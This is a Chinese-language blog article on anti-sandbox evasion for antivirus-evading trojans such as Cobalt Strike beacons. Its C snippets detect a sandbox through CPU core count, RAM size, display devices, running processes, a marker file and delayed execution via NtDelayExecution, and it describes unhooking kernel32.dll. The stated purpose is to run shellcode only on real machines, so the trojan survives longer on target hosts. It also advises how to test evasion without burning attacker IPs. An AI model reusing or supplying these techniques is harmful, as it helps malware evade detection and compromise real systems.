免责声明
本文仅用于学习和技术研究,读者利用本文所提供的信息造成的任何直接或间接的影响和损失均由该读者负责,文章作者不为此承担任何责任,请遵守国家网络安全法,维护良好的网络环境。
前言
本文将介绍有关杀软行为检测中沙箱云传的一些对抗技巧,比较知名的杀软都会将可疑文件自动上传至云端沙箱运行并监控其行为,反沙箱可以保证马正常运行以及保持较长的存活时间,是制作免杀马不可或缺的一环。
PS:最近有演练要打,后面更新可能会比较慢,请各位师傅原谅,笔者也是某厂黑奴,这些文章都是下班时间抽空写的,看在笔者这么努力的份上,点个关注吧,感谢各位的支持。如有任何错误和不足欢迎各位师傅指正,转载请注明文章出处。
一、沙箱检测技术
沙箱提供了⼀个虚拟的隔离环境,使用户可以安全地运行不受信任的应用程序或文件并监控和记录其运行流程和网络行为,为判断该程序或文件是否存在威胁提供依据。
1.1 沙箱类型
1、云沙箱
。该类沙箱将可行执行文件上传至云端,为其提供虚拟的隔离环境,监控其执行流程、网络行为和释放了哪些文件等,出示自动化检测报告,为可行执行文件威胁程度评分。
2、本地沙箱
。指在安全软件本地分配一些资源模拟运行可执行文件,windows defender就有本地自己的沙箱,当我们的CS马在windows defender的环境下运行被检测爆毒时,你会发现马不会立刻被清除掉而是隔一小会儿才会被清除掉,teamserver仍会有一两个beacon上线 ,但这些beacon都是没有心跳的,实际就是windows defender在本地沙箱模拟运行了这些马,分析其行为或者流量确定为CS的木马后才将其清除的。
1.2 哪种文件会被自动云传到沙箱❓
1、静态检测发现文件包含IOC标志或者特征码的文件;
2、"文件流行指数"低的文件,指该文件在其他主机很少出现且没有被云传到威胁情报平台或沙箱,缺乏样本情报;
3、没有数字签名的可行执行文件。
二、反沙箱技巧
反沙箱的核心就是去识别物理机、虚拟机和沙箱的运行环境有什么不同。
一个合格的反沙箱木马能正确识别当前运行环境,根据不同的运行环境执行不同的流程或者功能。
如果是物理机环境则执行shellcode,如果是沙箱环境则转去执行一些打印功能和垃圾函数或者直接退出程序。
下面我将介绍一些我觉得比较好用的反沙箱技巧。
2.1 检测CPU核心数
沙箱CPU核心数一般就是1个。
C语言示例代码:
#include <windows.h>
#include <stdio.h>//输入参数为CPU核心个数num,比较当前环境的CPU个数是否大于num,大于则返回真,小于则返回假(即可能为沙箱环境)
BOOL fuProcessors(int num)
{SYSTEM_INFO sysinfo;GetSystemInfo(&sysinfo);if (sysinfo.dwNumberOfProcessors < num){for (size_t i = 0; i < sysinfo.dwNumberOfProcessors + num; i++){printf("System is loading process. %d0%% progress has been loaded.Please don't close the process.\n.", i);}return FALSE;}return TRUE;
}
2.2 检测内存RAM大小
通常沙箱分配到的内存不会很大,可以通过当前主机的内存环境大小大致判断是否为沙箱环境。
C语言示例代码:
#include <windows.h>
#include <stdio.h>int main()
{MEMORYSTATUSEX memS;memS.dwLength = sizeof(memS);if (!GlobalMemoryStatus(&memS)){return 0;}//若运行环境的内存大小小于7900MB,当前运行环境可能为沙箱环境,则程序直接退出if (static_cast<DWORD64>(memS.ullTotalPhys / (1024 * 1024)) <= 7900) {printf("Something goes wrong.Error num\n");return 0;}
}
2.3 检测显卡和显示器
微软官方C语言示例代码:
#include <Windows.h>BOOL CALLBACK MyInfoEnumProc(HMONITOR hMonitor,HDC hdcMonitor,LPRECT lprcMonitor,LPARAM dwData
)
{MONITORINFOEX mi;ZeroMemory(&mi, sizeof(mi));mi.cbSize = sizeof(mi);GetMonitorInfo(hMonitor, &mi);wprintf(L"DisplayDevice: %s\n", mi.szDevice);return TRUE;
}int _tmain(int argc, _TCHAR* argv[])
{printf("\n\n\EnumDisplayDevices\n\n\n");DISPLAY_DEVICE dd;ZeroMemory(&dd, sizeof(dd));dd.cb = sizeof(dd);for (int i = 0; EnumDisplayDevices(NULL, i, &dd, 0); i++){wprintf(L"\n\nDevice %d:", i);wprintf(L"\n DeviceName: '%s'", dd.DeviceName);wprintf(L"\n DeviceString: '%s'", dd.DeviceString);wprintf(L"\n StateFlags: %s%s%s%s",((dd.StateFlags &DISPLAY_DEVICE_ATTACHED_TO_DESKTOP) ?L"desktop " : L""),((dd.StateFlags &DISPLAY_DEVICE_PRIMARY_DEVICE) ?L"primary " : L""),((dd.StateFlags & DISPLAY_DEVICE_VGA_COMPATIBLE) ?L"vga " : L""),((dd.StateFlags &DISPLAY_DEVICE_MULTI_DRIVER) ?L"multi " : L""),((dd.StateFlags &DISPLAY_DEVICE_MIRRORING_DRIVER) ?L"mirror " : L""));// Get more info about the deviceDISPLAY_DEVICE dd2;ZeroMemory(&dd2, sizeof(dd2));dd2.cb = sizeof(dd2);EnumDisplayDevices(dd.DeviceName, 0, &dd2, 0);wprintf(L"\n DeviceID: '%s'", dd2.DeviceID);wprintf(L"\n Monitor Name: '%s'", dd2.DeviceString);}printf("\n\n\nEnumDisplayMonitors\n\n\n");EnumDisplayMonitors(NULL, NULL, MyInfoEnumProc, 0);return 0;
}
下图为虚拟机运行效果,如果是物理机上运行,其会显示你的核显、独显和显示器。
沙箱一般没有独显或者核显,以此可以区分当前运行环境是否为沙箱环境。
2.4 寻找特定进程
沙箱环境的进程与物理机环境的进程肯定是不同的,我们可以通过判断当前环境是否有桌面端微信、Office全家桶、NVIDIA英伟达驱动程序等进程来判断当前环境是否为沙箱环境。
C语言示例代码:
#include <Psapi.h>
#include <TlHelp32.h>
#include <Windows.h>
//输入参数为进程名,如果当前环境有该进程返回进程的PID,没有该进程则返回0
DWORD getPidByProcessName(const wchar_t* processName) {HANDLE hSnapShot = NULL;BOOL result1 = FALSE;PROCESSENTRY32 pe32 = { 0 };DWORD processID = 0;hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);pe32.dwSize = sizeof(PROCESSENTRY32);if (hSnapShot != INVALID_HANDLE_VALUE) {result1 = Process32First(hSnapShot, &pe32);while (result1) {if (!_wcsicmp(pe32.szExeFile, processName)) {processID = pe32.th32ProcessID;break;}result1 = Process32Next(hSnapShot, &pe32);}}return processID;
}
2.5 检测特定文件
可以让木马在同目录有特定文件的情况下才执行shellcode,比如上传木马时同时上传一个名为"readme.txt"文件到同一个目录,木马运行时先检查当前目录有没有名为"readme.txt"的文件,如果有则执行shellcode,没有则直接结束当前进程。
C语言示例代码:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//输入参数为文件路径,文件存在则返回真,不存在则返回假
BOOL getLocalFile(wchar_t lPath[])
{HANDLE hFileNew;hFileNew = CreateFile(lPath, GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFileNew == INVALID_HANDLE_VALUE){return FALSE;}return TRUE;
}
2.6 延时执行
沙箱检测时间一般不会太久,一般为几十秒,可以让程序延时五分钟后再执行。
延时执行一般用sleep()函数,但是杀软一般都会给sleep()函数挂钩,让其立刻执行,使延时失效。
有以下几种解决方案来进行延迟执行。
1、我们可以动态调用ntdll.dll中的NtDelayExecution函数来延时执行。
C语言示例代码:
#include <Windows.h>typedef NTSTATUS (NTAPI* pNtDelayExecution)(BOOLEAN Alertable,PLARGE_INTEGER DelayInterval);int _tmain(int argc, _TCHAR* argv[])
{printf("Start\n");for (size_t i = 0; i < 20; i++){printf("%d\n", i);if (i == 5){printf("Start to sleep!\n");//获取ntdll的基地址HMODULE ntdllModule = GetModuleHandleA("NTDLL.DLL");pNtDelayExecution newSleep = (pNtDelayExecution)GetProcAddress(ntdllModule, "NtDelayExecution");LARGE_INTEGER delay;delay.QuadPart = -100000000;//睡眠10秒NTSTATUS result = newSleep(FALSE, &delay);}}}
2、sleep函数在kernel32.dll,程序预加载的kernel32.dll一般都会被挂钩,我们可以重载kernel32.dll进行脱钩。
实现思路:读取kernel32.dll文件,为其创建文件映射,再创建映射视图,将读新取的kernel32.dll映射至内存,用内存复制函数将新映射入内存的kernel32.dll覆盖到原先预加载的kernel32.dll的基址,这样就得到了一份纯净的没有被挂钩的kernel32.dll,然后再调用sleep函数。
但是这是对ring3的脱钩,对于某些直接在ring0寻找SSDT表过程中挂钩的杀软这种方法效果并不太明显。
3、循环打印来延时执行,比如打印1万次数字
C语言示例代码:
for (size_t i = 0; i < 10000; i++)
{printf("%d\n", i);}
2.7 其他反沙箱技巧
除了上面提到的反沙箱技巧,我们还可以通过获取鼠标指针的位置和移动轨迹(正常的沙箱是没有鼠标的)、获取主机的hostname、检测特定的全局互斥锁等方法来对抗沙箱检测。
三、沙箱云传效果
样本用的上篇静态检测文章展示的无签名免杀马,反沙箱用了检测内存、CPU核心、检测是否接入键盘等反沙箱技术。
以下效果图仅供娱乐,因为免杀马的teamserver的IP是内网IP属于是给沙箱云传降低难度了。
免杀效果的体现并不是由VT多少个红多少绿来体现的,而是看木马在目标机器能否长久稳定运行,能否让它帮你顺利拿下靶标和分数,能否顺利让你完成项目的交付。
涉及到公网VPS的IP的免杀马尽量不要上传到VT,因为这样不仅会降低马的生存周期,还可能会让公网VPS的IP被列入威胁情报的黑名单。
在VT上传免杀马看效果跟鲁大师跑分其实是一个性质,纯属装逼图一乐。
真的要测试免杀效果,可以目标机器上信息收集systeminfo和进程等信息,用虚拟机模拟一个类似的运行环境来测试免杀效果,测试环境必须联网并且杀软开启云传,尽量与真实环境一致。
3.1 virustotal
3.2 奇安信沙箱
3.3 微步沙箱
END
原创 霓虹预警